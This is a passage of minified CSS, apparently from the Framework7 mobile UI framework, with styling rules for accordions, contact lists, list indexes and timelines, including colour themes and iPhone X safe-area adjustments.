.item-inner{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color}.accordion-item-toggle .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .item-link .item-inner:after{-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item .block,.accordion-item .list{margin-top:0;margin-bottom:0}.accordion-item .block>h1:first-child,.accordion-item .block>h2:first-child,.accordion-item .block>h3:first-child,.accordion-item .block>h4:first-child,.accordion-item .block>p:first-child{margin-top:10px}.accordion-item .block>h1:last-child,.accordion-item .block>h2:last-child,.accordion-item .block>h3:last-child,.accordion-item .block>h4:last-child,.accordion-item .block>p:last-child{margin-bottom:10px}.accordion-item-opened .accordion-item-toggle .item-inner:after,.accordion-item-opened>.item-link .item-inner:after{background-color:transparent}.list li.accordion-item ul{padding-left:0}.accordion-item-content{position:relative;overflow:hidden;height:0;font-size:14px;-webkit-transition-duration:.3s;transition-duration:.3s}.accordion-item-opened>.accordion-item-content{height:auto}html.device-android-4 .accordion-item-content{-webkit-transform:none;transform:none}.md .list .accordion-item-toggle .item-inner{padding-right:42px;background:no-repeat calc(100% - 16px) center}.md .list .accordion-item-toggle.active-state{background-color:rgba(0,0,0,.1)}.md .accordion-item.media-item .accordion-item-toggle .item-title-row,.md .accordion-item.media-item>.item-link .item-title-row,.md .links-list .accordion-item>a,.md .list .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item:not(.media-item)>.item-link .item-inner,.md .media-list .accordion-item .accordion-item-toggle .item-title-row,.md .media-list .accordion-item>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");background-size:13px 13px}.md .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.md .accordion-item-opened.media-item>.item-link .item-title-row,.md .links-list .accordion-item-opened>a,.md .list .accordion-item-toggle.accordion-item-opened .item-inner,.md .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.md .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.md .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.md .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .theme-dark .accordion-item.media-item .accordion-item-toggle .item-title-row,.md .theme-dark .accordion-item.media-item>.item-link .item-title-row,.md .theme-dark .links-list .accordion-item>a,.md .theme-dark .list .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item)>.item-link .item-inner,.md .theme-dark .media-list .accordion-item .accordion-item-toggle .item-title-row,.md .theme-dark .media-list .accordion-item>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.md .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.md .theme-dark .accordion-item-opened.media-item>.item-link .item-title-row,.md .theme-dark .links-list .accordion-item-opened>a,.md .theme-dark .list .accordion-item-toggle.accordion-item-opened .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.md .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.md .theme-dark .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.contacts-list .list-group:first-child ul:before{display:none!important}.contacts-list .list-group:last-child ul:after{display:none!important}.md .contacts-list{margin:0}.md .contacts-list .list-group-title{padding:0 16px;pointer-events:none;background:0 0;color:#2196f3;font-weight:500;line-height:48px;height:48px;font-size:20px;overflow:visible;width:56px}.md .contacts-list .list-group-title+li{margin-top:-48px}.md .contacts-list li:not(.list-group-title){padding-left:56px}.md .theme-dark .contacts-list .list-group-title{color:#fff}.list-index{position:absolute;top:0;bottom:0;right:0;text-align:center;z-index:10;width:16px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.list-index:before{content:'';position:absolute;width:20px;top:0;right:100%;height:100%}.list-index ul{font-size:11px;font-weight:600;list-style:none;margin:0;padding:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;height:100%;width:100%;position:relative}.list-index li{margin:0;padding:0;list-style:none;position:relative;height:14px;line-height:14px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:block;width:100%}.list-index .list-index-skip-placeholder:after{content:'';position:absolute;left:50%;top:50%;border-radius:50%}.list-index .list-index-label{position:absolute;bottom:0;right:100%;text-align:center;border-radius:50%;color:#fff;font-weight:500}.md .list-index ul{color:#2196f3}.md .list-index .list-index-skip-placeholder:after{content:'';width:4px;height:4px;margin-left:-2px;margin-top:-2px;background:#2196f3}.md .list-index .list-index-label{width:56px;height:56px;line-height:56px;border-radius:50% 50% 0 50%;background:#2196f3;font-size:20px}.md .navbar~.list-index{top:56px}@media (min-width:768px){.md .navbar~.list-index{top:64px}}.md .navbar~.subnavbar~.list-index,.md .navbar~.toolbar:not(.toolbar-bottom-md)~.list-index,.md .page-with-subnavbar .navbar~.list-index{top:104px}.md .navbar~.tabbar-labels:not(.toolbar-bottom-md)~.list-index{top:128px}.md .toolbar-bottom-md~* .page>.list-index,.md .toolbar-bottom-md~.page>.list-index{bottom:48px}.md .tabbar-labels.toolbar-bottom-md~* .page>.list-index,.md .tabbar-labels.toolbar-bottom-md~.list-index,.md .tabbar-labels.toolbar-bottom-md~.page>.list-index{bottom:56px}.md.device-iphone-x .toolbar-bottom-md~* .page>.list-index,.md.device-iphone-x .toolbar-bottom-md~.page>.list-index{bottom:calc(48px + constant(safe-area-inset-bottom));bottom:calc(48px + env(safe-area-inset-bottom))}.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~* .page>.list-index,.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~.list-index,.md.device-iphone-x .tabbar-labels.toolbar-bottom-md~.page>.list-index{bottom:calc(56px + constant(safe-area-inset-bottom));bottom:calc(56px + env(safe-area-inset-bottom))}.md .color-theme-red .list-index ul,.md .list-index.color-theme-red ul{color:#f44336}.md .color-theme-red .list-index .list-index-label,.md .color-theme-red .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-red .list-index-label,.md .list-index.color-theme-red .list-index-skip-placeholder:after{background-color:#f44336}.md .color-theme-green .list-index ul,.md .list-index.color-theme-green ul{color:#4caf50}.md .color-theme-green .list-index .list-index-label,.md .color-theme-green .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-green .list-index-label,.md .list-index.color-theme-green .list-index-skip-placeholder:after{background-color:#4caf50}.md .color-theme-blue .list-index ul,.md .list-index.color-theme-blue ul{color:#2196f3}.md .color-theme-blue .list-index .list-index-label,.md .color-theme-blue .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-blue .list-index-label,.md .list-index.color-theme-blue .list-index-skip-placeholder:after{background-color:#2196f3}.md .color-theme-pink .list-index ul,.md .list-index.color-theme-pink ul{color:#e91e63}.md .color-theme-pink .list-index .list-index-label,.md .color-theme-pink .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-pink .list-index-label,.md .list-index.color-theme-pink .list-index-skip-placeholder:after{background-color:#e91e63}.md .color-theme-yellow .list-index ul,.md .list-index.color-theme-yellow ul{color:#ffeb3b}.md .color-theme-yellow .list-index .list-index-label,.md .color-theme-yellow .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-yellow .list-index-label,.md .list-index.color-theme-yellow .list-index-skip-placeholder:after{background-color:#ffeb3b}.md .color-theme-orange .list-index ul,.md .list-index.color-theme-orange ul{color:#ff9800}.md .color-theme-orange .list-index .list-index-label,.md .color-theme-orange .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-orange .list-index-label,.md .list-index.color-theme-orange .list-index-skip-placeholder:after{background-color:#ff9800}.md .color-theme-gray .list-index ul,.md .list-index.color-theme-gray ul{color:#9e9e9e}.md .color-theme-gray .list-index .list-index-label,.md .color-theme-gray .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-gray .list-index-label,.md .list-index.color-theme-gray .list-index-skip-placeholder:after{background-color:#9e9e9e}.md .color-theme-white .list-index ul,.md .list-index.color-theme-white ul{color:#fff}.md .color-theme-white .list-index .list-index-label,.md .color-theme-white .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-white .list-index-label,.md .list-index.color-theme-white .list-index-skip-placeholder:after{background-color:#fff}.md .color-theme-black .list-index ul,.md .list-index.color-theme-black ul{color:#000}.md .color-theme-black .list-index .list-index-label,.md .color-theme-black .list-index .list-index-skip-placeholder:after,.md .list-index.color-theme-black .list-index-label,.md .list-index.color-theme-black .list-index-skip-placeholder:after{background-color:#000}.md .list-index.color-red ul{color:#f44336}.md .list-index.color-red .list-index-label,.md .list-index.color-red .list-index-skip-placeholder:after{background-color:#f44336}.md .list-index.color-green ul{color:#4caf50}.md .list-index.color-green .list-index-label,.md .list-index.color-green .list-index-skip-placeholder:after{background-color:#4caf50}.md .list-index.color-blue ul{color:#2196f3}.md .list-index.color-blue .list-index-label,.md .list-index.color-blue .list-index-skip-placeholder:after{background-color:#2196f3}.md .list-index.color-pink ul{color:#e91e63}.md .list-index.color-pink .list-index-label,.md .list-index.color-pink .list-index-skip-placeholder:after{background-color:#e91e63}.md .list-index.color-yellow ul{color:#ffeb3b}.md .list-index.color-yellow .list-index-label,.md .list-index.color-yellow .list-index-skip-placeholder:after{background-color:#ffeb3b}.md .list-index.color-orange ul{color:#ff9800}.md .list-index.color-orange .list-index-label,.md .list-index.color-orange .list-index-skip-placeholder:after{background-color:#ff9800}.md .list-index.color-gray ul{color:#9e9e9e}.md .list-index.color-gray .list-index-label,.md .list-index.color-gray .list-index-skip-placeholder:after{background-color:#9e9e9e}.md .list-index.color-white ul{color:#fff}.md .list-index.color-white .list-index-label,.md .list-index.color-white .list-index-skip-placeholder:after{background-color:#fff}.md .list-index.color-black ul{color:#000}.md .list-index.color-black .list-index-label,.md .list-index.color-black .list-index-skip-placeholder:after{background-color:#000}.timeline{-webkit-box-sizing:border-box;box-sizing:border-box}.block-strong .timeline{padding:0;margin:0}.timeline-item{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.timeline-item-date{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:50px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-date small{font-size:10px}.timeline-item-content{margin:2px;min-width:0;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.timeline-item-content h1:first-child,.timeline-item-content h2:first-child,.timeline-item-content h3:first-child,.timeline-item-content h4:first-child,.timeline-item-content ol:first-child,.timeline-item-content p:first-child,.timeline-item-content ul:first-child{margin-top:0}.timeline-item-content h1:last-child,.timeline-item-content h2:last-child,.timeline-item-content h3:last-child,.timeline-item-content h4:last-child,.timeline-item-content ol:last-child,.timeline-item-content p:last-child,.timeline-item-content ul:last-child{margin-bottom:0}.timeline-item-inner{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-inner .block{padding:0;color:inherit}.timeline-item-inner .block-strong{padding-left:0;padding-right:0;margin:0}.timeline-item-inner .block-strong:before{display:none!important}.timeline-item-inner .block-strong:after{display:none!important}.timeline-item-inner .list ul:before{display:none!important}.timeline-item-inner .list ul:after{display:none!important}.timeline-item-divider{width:1px;position:relative;width:10px;height:10px;background:#bbb;border-radius:50%;margin-top:3px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.timeline-item-divider:after,.timeline-item-divider:before{content:' ';width:1px;height:100vh;position:absolute;left:50%;background:inherit;-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.timeline-item-divider:after{top:100%}.timeline-item-divider:before{bottom:100%}.timeline-item:last-child .timeline-item-divider:after{display:none}.timeline-item:first-child .timeline-item-divider:before{display:none}.timeline-item-time{font-size:13px}.timeline-item-time:first-child,.timeline-item-time:last-child{margin-top:0}.timeline-item-title+.timeline-item-time{margin-top:0}.timeline-horizontal{height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.timeline-horizontal .timeline-item{display:block;width:33.33333333vw;margin:0;padding:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;position:relative;height:100%}.timeline-horizontal .timeline-item-date{width:auto;line-height:34px;position:absolute;left:0;top:0;width:100%;height:34px;text-align:left}.timeline-horizontal .timeline-item-content{overflow:auto;-webkit-overflow-scrolling:touch;margin:0}.timeline-horizontal .timeline-item-divider{display:none}.timeline-horizontal.col-100 .timeline-item{width:100vw}.timeline-horizontal.col-95 .timeline-item{width:95vw}.timeline-horizontal.col-90 .timeline-item{width:90vw}.timeline-horizontal.col-85 .timeline-item{width:85vw}.timeline-horizontal.col-80 .timeline-item{width:80vw}.timeline-horizontal.col-75 .timeline-item{width:75vw}.timeline-horizontal.col-70 .timeline-item{width:70vw}.timeline-horizontal.col-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.col-65 .timeline-item{width:65vw}.timeline-horizontal.col-60 .timeline-item{width:60vw}.timeline-horizontal.col-55 .timeline-item{width:55vw}.timeline-horizontal.col-50 .timeline-item{width:50vw}.timeline-horizontal.col-45 .timeline-item{width:45vw}.timeline-horizontal.col-40 .timeline-item{width:40vw}.timeline-horizontal.col-35 .timeline-item{width:35vw}.timeline-horizontal.col-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.col-30 .timeline-item{width:30vw}.timeline-horizontal.col-25 .timeline-item{width:25vw}.timeline-horizontal.col-20 .timeline-item{width:20vw}.timeline-horizontal.col-15 .timeline-item{width:15vw}.timeline-horizontal.col-10 .timeline-item{width:10vw}.timeline-horizontal.col-5 .timeline-item{width:5vw}@media (min-width:768px){.timeline-horizontal.tablet-100 .timeline-item{width:100vw}.timeline-horizontal.tablet-95 .timeline-item{width:95vw}.timeline-horizontal.tablet-90 .timeline-item{width:90vw}.timeline-horizontal.tablet-85 .timeline-item{width:85vw}.timeline-horizontal.tablet-80 .timeline-item{width:80vw}.timeline-horizontal.tablet-75 .timeline-item{width:75vw}.timeline-horizontal.tablet-70 .timeline-item{width:70vw}.timeline-horizontal.tablet-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.tablet-65 .timeline-item{width:65vw}.timeline-horizontal.tablet-60 .timeline-item{width:60vw}.timeline-horizontal.tablet-55 .timeline-item{width:55vw}.timeline-horizontal.tablet-50 .timeline-item{width:50vw}.timeline-horizontal.tablet-45 .timeline-item{width:45vw}.timeline-horizontal.tablet-40 .timeline-item{width:40vw}.timeline-horizontal.tablet-35 .timeline-item{width:35vw}.timeline-horizontal.tablet-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.tablet-30 .timeline-item{width:30vw}.timeline-horizontal.tablet-25 .timeline-item{width:25vw}.timeline-horizontal.tablet-20 .timeline-item{width:20vw}.timeline-horizontal.tablet-15 .timeline-item{width:15vw}.timeline-horizontal.tablet-10 .timeline-item{width:10vw}.timeline-horizontal.tablet-5 .timeline-item{width:5vw}}.timeline-horizontal .timeline-month,.timeline-horizontal .timeline-year{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;padding-top:24px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%}.timeline-horizontal .timeline-month-title,.timeline-horizontal .timeline-year-title{position:absolute;left:0;top:0;width:100%;line-height:24px;height:24px;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-horizontal .timeline-month-title span,.timeline-horizontal .timeline-year-title span{display:inline-block;position:-webkit-sticky;position:sticky}.timeline-horizontal .timeline-year-title{font-size:16px}.timeline-horizontal .timeline-month-title span{margin-top:-2px}.md .timeline{margin:32px 0;padding:0 16px}.md .block-strong .timeline{padding:0;margin:0}.md .timeline-item{padding:2px 0 16px}.md .timeline-item:last-child{padding-bottom:2px}.md .timeline-item-content .block,.md .timeline-item-content .card,.md .timeline-item-content .list,.md .timeline-item-content.block,.md .timeline-item-content.card,.md .timeline-item-content.list{margin:0;width:100%}.md .timeline-item-content .block+.block,.md .timeline-item-content .block+.card,.md .timeline-item-content .block+.list,.md .timeline-item-content .card+.block,.md .timeline-item-content .card+.card,.md .timeline-item-content .card+.list,.md .timeline-item-content .list+.block,.md .timeline-item-content .list+.card,.md .timeline-item-content .list+.list{margin:16px 0 0}.md .timeline-item-inner{border-radius:2px;padding:8px 16px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .timeline-item-inner+.timeline-item-inner{margin-top:16px}.md .timeline-item-divider{margin-left:16px;margin-right:16px}.md .timeline-item-time{margin-top:16px;color:rgba(0,0,0,.54)}.md .timeline-item-time:first-child{margin-top:0}.md .timeline-item-title{font-size:16px}.md .timeline-sides .timeline-item{margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .timeline-sides .timeline-item .timeline-item-date{text-align:right}.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:left}.md .timeline-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .timeline-sides .timeline-item-left .timeline-item-date{text-align:left}.md .timeline-sides .timeline-item-right{margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .timeline-sides .timeline-item-right .timeline-item-date{text-align:right}@media (min-width:768px){.md .tablet-sides .timeline-item{margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .tablet-sides .timeline-item .timeline-item-date{text-align:right}.md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:left}.md .tablet-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .tablet-sides .timeline-item-left .timeline-item-date{text-align:left}.md .tablet-sides .timeline-item-right{margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .tablet-sides .timeline-item-right .timeline-item-date{text-align:right}}.md .timeline-horizontal{padding:0;margin:0;position:relative}.md .timeline-horizontal .timeline-item{padding-top:34px!important;padding-bottom:12px}.md .timeline-horizontal .timeline-item-date{background:#2196f3;padding:0 12px;color:#fff}.md .timeline-horizontal .timeline-item-date:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .timeline-horizontal .timeline-item-content{padding:12px;height:calc(100% - 12px)}.md .timeline-horizontal.no-shadow .timeline-item-date:after{display:none}.md .timeline-horizontal .timeline-item:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.md .timeline-horizontal .timeline-item:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .timeline-month-title,.md .timeline-year-title{padding:0 12px;color:#fff;background:#2196f3}.md .timeline-month-title span,.md .timeline-year-title span{left:12px}.md .timeline-year-title span{margin-top:2px}@media (orientation:landscape){.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge){padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span{left:calc(12px + constant(safe-area-inset-left));left:calc(12px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title{left:-44px;right:0;width:auto}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month 